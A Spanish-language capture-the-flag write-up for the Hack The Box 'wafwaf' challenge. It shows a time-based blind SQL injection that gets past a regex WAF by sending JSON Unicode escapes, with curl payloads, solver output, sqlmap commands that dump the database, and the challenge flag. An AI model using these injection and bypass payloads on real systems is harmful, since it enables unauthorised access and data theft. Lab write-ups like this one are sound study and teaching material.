wafwaf
4 minutos de lectura
Se nos proporciona el siguiente sitio web, que también muestra su código fuente en PHP:
Análisis del código fuente
Lo primero que notamos es una inyección de código SQL bastante clara:
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
Esto sucede porque el valor de $obj->user
se inserta directamente en la consulta SQL, sin prepared statements.
Sin embargo, hay una función waf
que actúa como un WAF (Web Application Firewall):
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
Esta función construye esta RegEx:
/[\(\*\<\=\>\|'&\-@]|select|and|or|if|by|from|where|as|is|in|not|having/i
Si la RegEx no coincide con nada, entonces el WAF decodifica los datos JSON y retorna.
Obsérvese que la consulta no devuelve ningún dato y no muestra ningún error. Por lo tanto, la única información que podemos obtener es el tiempo de ejecución de la consulta, que indica un ataque de inyección SQL basado en tiempo.
Solución
La clave aquí es que debemos enviar datos JSON. Entonces, podemos codificar caracteres de una string en Unicode (por ejemplo, "a"
es lo mismo que "\u0061"
, que es similar a su valor ASCII en hexadecimal).
Podemos crear una función de shell para codificar una cadena en los datos en Unicode y JSON:
$ function encode() { for h in $(echo -n "$1" | xxd -p -c 1); do echo -n \\\\u00$h; done }
Y este es el oráculo basado en tiempo que tenemos cuando tenemos una condición es verdad y una condición es falsa:
$ time curl 83.136.253.44:58795 -d "{\"user\":\"$(encode "' or sleep(5) and '1'='1")\"}"
curl 83.136.253.44:58795 -d 0,01s user 0,00s system 0% cpu 5,126 total
$ time curl 83.136.253.44:58795 -d "{\"user\":\"$(encode "' or sleep(5) and '1'='2")\"}"
curl 83.136.253.44:58795 -d 0,01s user 0,01s system 19% cpu 0,091 total
Implementación
Resolví este reto hace mucho tiempo, y escribí un script de solución en Node.js, llamado solve.js
. El procedimiento es bastante estándar:
- Encontrar los nombres de las bases de datos
- Para la base de datos deseada, listar las tablas
- Para la base de datos y la tabla deseadas, listar las columnas
- Para la base de datos, la tabla y la columna deseadas, listar los valores
El script utiliza búsqueda binaria para exfiltrar valores más rápido y funciones asíncronas. Sin embargo, el código puede ser un poco difícil de leer… pero funciona:
$ node solve.js 83.136.253.44:58795
8
db_m8452
2
21
5
[ 'definitely_not_a_flag', 'notes' ]
definitely_not_a_flag 1 1
4
flag
33
HTB{w4f_w4fing_my_w4y_0utt4_h3r3}
notes 3 1
2
id
1
1
4
note
6
wafwaf
8
assignee
5
admin
db_m8452 [
definitely_not_a_flag: { flag: [ 'HTB{w4f_w4fing_my_w4y_0utt4_h3r3}' ] },
notes: { id: [ '1' ], note: [ 'wafwaf' ], assignee: [ 'admin' ] }
]
time: 5:47.427 (m:ss.mmm)
Otra forma es usar sqlmap
, que ya tiene un tamper llamado charunicodeescape
que realiza el bypass de WAF que necesitamos para realizar el ataque de SQLi. Estas consultas darán la flag:
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 --dbs
...
available databases [5]:
[*] db_m8452
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 --tables
...
Database: db_m8452
[2 tables]
+-----------------------+
| definitely_not_a_flag |
| notes |
+-----------------------+
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 -T definitely_not_a_flag --columns
...
Database: db_m8452
Table: definitely_not_a_flag
[1 column]
+--------+------+
| Column | Type |
+--------+------+
| flag | text |
+--------+------+
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 -T definitely_not_a_flag -C flag --dump
...
Database: db_m8452
Table: definitely_not_a_flag
[1 entry]
+-----------------------------------+
| flag |
+-----------------------------------+
| HTB{w4f_w4fing_my_w4y_0utt4_h3r3} |
+-----------------------------------+
Flag
Entonces, la flag es:
HTB{w4f_w4fing_my_w4y_0utt4_h3r3}